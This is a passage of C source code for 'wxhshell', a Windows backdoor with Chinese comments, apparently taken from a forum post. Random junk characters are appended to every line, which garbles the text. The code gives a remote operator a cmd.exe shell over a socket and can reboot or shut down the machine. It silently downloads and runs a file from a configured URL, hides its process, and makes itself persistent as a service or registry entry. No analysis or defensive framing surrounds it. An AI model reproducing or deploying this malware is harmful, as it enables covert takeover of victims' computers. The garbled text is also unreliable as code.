  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]@6L,+W"  
  } 7$JOIsM  
  else { ]^0mh["  
moD)^':.  
    switch(cmd[0]) { 6W/uoH=;  
  >H,5MM!  
  // 帮助 H oO1_{q"  
  case '?': { 0<)Ep~!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [85b+SKW  
    break; C({r1l4[D  
  } hEA;5-m  
  // 安装 {rzvZ0-j}  
  case 'i': { "H\R*\-0  
    if(Install()) B.4Or]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98Y1-Z^ .  
    else RDOV+2K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'x,6t66*"l  
    break; Se.qft?D%(  
    } r@c!M|m@  
  // 卸载 +TC##}Zmb  
  case 'r': { Rjn%<R2nW  
    if(Uninstall()) !q1XyQX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8 c.&j3m  
    else bH g 0,N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %F87"v~  
    break; xQ! Va  
    } IqFmJs|C  
  // 显示 wxhshell 所在路径 ujLje:Yc  
  case 'p': { [M2xF<r6t  
    char svExeFile[MAX_PATH]; * >k6n5%  
    strcpy(svExeFile,"\n\r"); ul{D)zm\D  
      strcat(svExeFile,ExeFile); (\%J0kR3[  
        send(wsh,svExeFile,strlen(svExeFile),0); F8xu&Vk0:  
    break; c1xX)cF  
    } T>irW(  
  // 重启 EY@KWs3"H  
  case 'b': { 3$3%W<&^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BKK@_B"  
    if(Boot(REBOOT)) }_D{|! !!T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fY#2\)Yx  
    else { LX}|%- iv  
    closesocket(wsh); $S^rKp#  
    ExitThread(0); ~i0>[S3 '  
    } mr,G H x  
    break; t$PJ*F67M  
    } =N2@H5+7  
  // 关机 qE.3:bQ!`  
  case 'd': { S`& yVzv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k>=wwPy  
    if(Boot(SHUTDOWN)) >:OP+Vc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AMN`bgxW  
    else { _ucixM#  
    closesocket(wsh); ^97[(89G9  
    ExitThread(0); Ky*xAx:  
    } [$M l;K  
    break; Yc5<Y-W  
    } Pk5 %lu  
  // 获取shell y!x-R !3  
  case 's': { ]d*O>Pm  
    CmdShell(wsh); p  ~)\!  
    closesocket(wsh); KVHK~Y-G  
    ExitThread(0); ceLr;}?Ws  
    break; O O-Obg^  
  } ppu<k N  
  // 退出 [OFT!=.y &  
  case 'x': { t&-c?&FO\;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fO83 7  
    CloseIt(wsh); z=4E#y `?U  
    break; \}Kad\)  
    } W$` WkR  
  // 离开 +!t *LSF  
  case 'q': { I]B9+Z?xo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _k5$.f:Yj<  
    closesocket(wsh); {"0n^!  
    WSACleanup(); !v*#E{r"g=  
    exit(1); [-\DC*6  
    break; UJ`%uLR~  
        } sA }X)aP  
  } Cyud)BZvm  
  } G }M!  
Lve$H(GHT  
  // 提示信息 BbI),iP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }dSFv   
} Y5TBWcGU%  
  } (CE2]Nv9")  
.yb8<qs  
  return; s%?<:9  
} V{{UsEVO  
WX+@<y}%  
// shell模块句柄 t5QGXj  
int CmdShell(SOCKET sock) FYK}AR<=  
{ ve4 QS P  
STARTUPINFO si; *T{KpiuP  
ZeroMemory(&si,sizeof(si)); Ds\f?\Em  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tOPk x(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^fM=|.?  
PROCESS_INFORMATION ProcessInfo; U27ja|W^  
char cmdline[]="cmd"; L~_zR>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~5Rh7   
  return 0; 'v@1_HHW\  
} ;e~K<vMm;y  
o#IWH;ck.  
// 自身启动模式 vw` '9~  
int StartFromService(void) FFH {#|_1  
{ 94XRf"^  
typedef struct ) |hHbD^V  
{ i{PX=  
  DWORD ExitStatus; ]o_E]5"jO  
  DWORD PebBaseAddress; p-/}@r3Z+  
  DWORD AffinityMask; 87nsWBe  
  DWORD BasePriority; CzT_$v_  
  ULONG UniqueProcessId; VE/~tT;  
  ULONG InheritedFromUniqueProcessId; j MA%`*r  
}   PROCESS_BASIC_INFORMATION; )sapUnqrlR  
C%'eF`  
PROCNTQSIP NtQueryInformationProcess; n6*; ~h5  
-ANq!$E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /h@rLJ)o>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @HXXhYH  
%;G!gJeE  
  HANDLE             hProcess; I3?:KVa  
  PROCESS_BASIC_INFORMATION pbi; l1RFn,Tzr  
OZh+x`' #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,@2d4eg 4  
  if(NULL == hInst ) return 0; Vs[!WJ 7  
POQ1K O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JDC,]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5TdI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W&^2Fb  
M~!LjJg;  
  if (!NtQueryInformationProcess) return 0; @yjui  
;Y16I#?;Kh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t,;b*ZR  
  if(!hProcess) return 0;  Ia)^  
*$>$O%   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s[@@INU  
*-9b!>5eD  
  CloseHandle(hProcess); SHPZXJ{  
\'N|1!EO|t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bb/aeLv  
if(hProcess==NULL) return 0; k4nA+k<WI`  
#kGxX@0  
HMODULE hMod; 8%9OB5?F6  
char procName[255]; |zL.PS  
unsigned long cbNeeded; Xq%!(YD|  
KBGJB`D*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uO-R:MC  
|m7`:~ow  
  CloseHandle(hProcess); :hxZ2O?5_  
@)8C  
if(strstr(procName,"services")) return 1; // 以服务启动 h-h}NCP  
K#{E87G(  
  return 0; // 注册表启动 ]H<C Rw  
} 1')/BM2  
R:JS)>B  
// 主模块 ( ]o6Pi  
int StartWxhshell(LPSTR lpCmdLine) iJE|u  
{ 'C*NyHc  
  SOCKET wsl; k07) g:_  
BOOL val=TRUE; VbX$i!>8  
  int port=0; `o*g2fW!  
  struct sockaddr_in door; mwTn}h3N  
>Y< y]vM:  
  if(wscfg.ws_autoins) Install(); 2jx+q  
^q$vyY   
port=atoi(lpCmdLine); K+mtuB]yr  
Qi7^z;  
if(port<=0) port=wscfg.ws_port; ,K6]Q|U@r  
{1YT a:evl  
  WSADATA data; Vd^`Hv&i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @w:sNXz-  
;h3*MR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &f qmO>M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :<IW'  
  door.sin_family = AF_INET; ikRIL2Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |,&!Q$<un  
  door.sin_port = htons(port); RN:#+S(8  
*id|za|:k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FZmYv%J  
closesocket(wsl); (^Do#3  
return 1; 0QIocha  
} Bv@m)$9\+3  
r5iO%JFg  
  if(listen(wsl,2) == INVALID_SOCKET) { qc'tK6=jp  
closesocket(wsl); rb\Ohv\  
return 1; mLY*  
} <CmsnX  
  Wxhshell(wsl); .Um%6a-  
  WSACleanup(); W@$p'IBwm  
(\/HGxv  
return 0; v|,Hd  
v V^GIWK  
} q%:Jmi>  
pmW=l/6+V3  
// 以NT服务方式启动 Ft.BfgJ$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mQs'2Y6Oa  
{ sqZHk+<%  
DWORD   status = 0; A#  M  
  DWORD   specificError = 0xfffffff; q=1SP@;\6  
MthThsr7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kyo ,yD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V!U[N.&$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lIFU7g  
  serviceStatus.dwWin32ExitCode     = 0; >6DY3\  
  serviceStatus.dwServiceSpecificExitCode = 0; hy)RV=X  
  serviceStatus.dwCheckPoint       = 0; xf]4!zE  
  serviceStatus.dwWaitHint       = 0; ia_8$>xW+  
!d0@^JbM"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xp?Z;$r$  
  if (hServiceStatusHandle==0) return; a@jP^VVk  
49zp@a  
status = GetLastError(); T&23Pf1  
  if (status!=NO_ERROR) rzBWk  
{ !3&vgvr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1aT$07G0  
    serviceStatus.dwCheckPoint       = 0; d|NNIf  
    serviceStatus.dwWaitHint       = 0; d<3"$%C  
    serviceStatus.dwWin32ExitCode     = status; z"O-d<U5  
    serviceStatus.dwServiceSpecificExitCode = specificError; e#OU {2X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BVNh>^W5B  
    return; Nb9pdkf0  
  } x+TNF>%' D  
3z#;0n}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u ?Xku8 1l  
  serviceStatus.dwCheckPoint       = 0; zn~m;0Xi  
  serviceStatus.dwWaitHint       = 0; v1lj/A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uU\iji\  
} &^7)yS+C  
/&dt!.WY^  
// 处理NT服务事件,比如:启动、停止 <C{5(=X{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _/=ZkI5  
{ zXCIn  
switch(fdwControl) tj&A@\/  
{ =% JDo  
case SERVICE_CONTROL_STOP: )yK!qu  
  serviceStatus.dwWin32ExitCode = 0; M#>GU<4"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; } R/  
  serviceStatus.dwCheckPoint   = 0; W[m_IY  
  serviceStatus.dwWaitHint     = 0; dCK -"#T!  
  { HY:@=%R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#B"j1D,H  
  } T:&+#0<  
  return; N.`]D)57  
case SERVICE_CONTROL_PAUSE: @&W?e?O ~G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~GeYB6F  
  break; ,'673PR  
case SERVICE_CONTROL_CONTINUE: FS}z_G|4]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )-{Qa\6(%  
  break; MnI $%  
case SERVICE_CONTROL_INTERROGATE: /YbL{G )j}  
  break; eBV{B70k  
}; 7| T:TbY>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Bb_NcU  
} @6!JW(,]\  
`+o.w#cl  
// 标准应用程序主函数 YC_^jRB8n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vel;t<1  
{ u@E M,o  
{EUH#':  
// 获取操作系统版本 IXN4?=)I  
OsIsNt=GetOsVer(); xVyUUzXs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); | <*(`\ 'w  
!%X`c94  
  // 从命令行安装 .'1j5Y-l`N  
  if(strpbrk(lpCmdLine,"iI")) Install(); z Y|g#V-  
"p{ '984r<  
  // 下载执行文件 ;Z_C3/b  
if(wscfg.ws_downexe) { eQx"nl3U%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #c>MUC(?s:  
  WinExec(wscfg.ws_filenam,SW_HIDE); $(R) =4  
} !q/lgpEi  
[mPdT^h  
if(!OsIsNt) { #0D.37R+k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^!qmlx*  
HideProc(); \G@6jn1G(  
StartWxhshell(lpCmdLine); SA1/U  
} "/?qT;<$)  
else 0d ->$gb  
  if(StartFromService()) sriz b  
  // 以服务方式启动 JY+[  
  StartServiceCtrlDispatcher(DispatchTable); srLr~^$j[  
else 72zuI4&  
  // 普通方式启动 A%1=6  
  StartWxhshell(lpCmdLine); MGz F+ln^U  
V2,WP  
return 0; C#&6p0U  
}
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只看该作者 1 发表于: 2006-10-10
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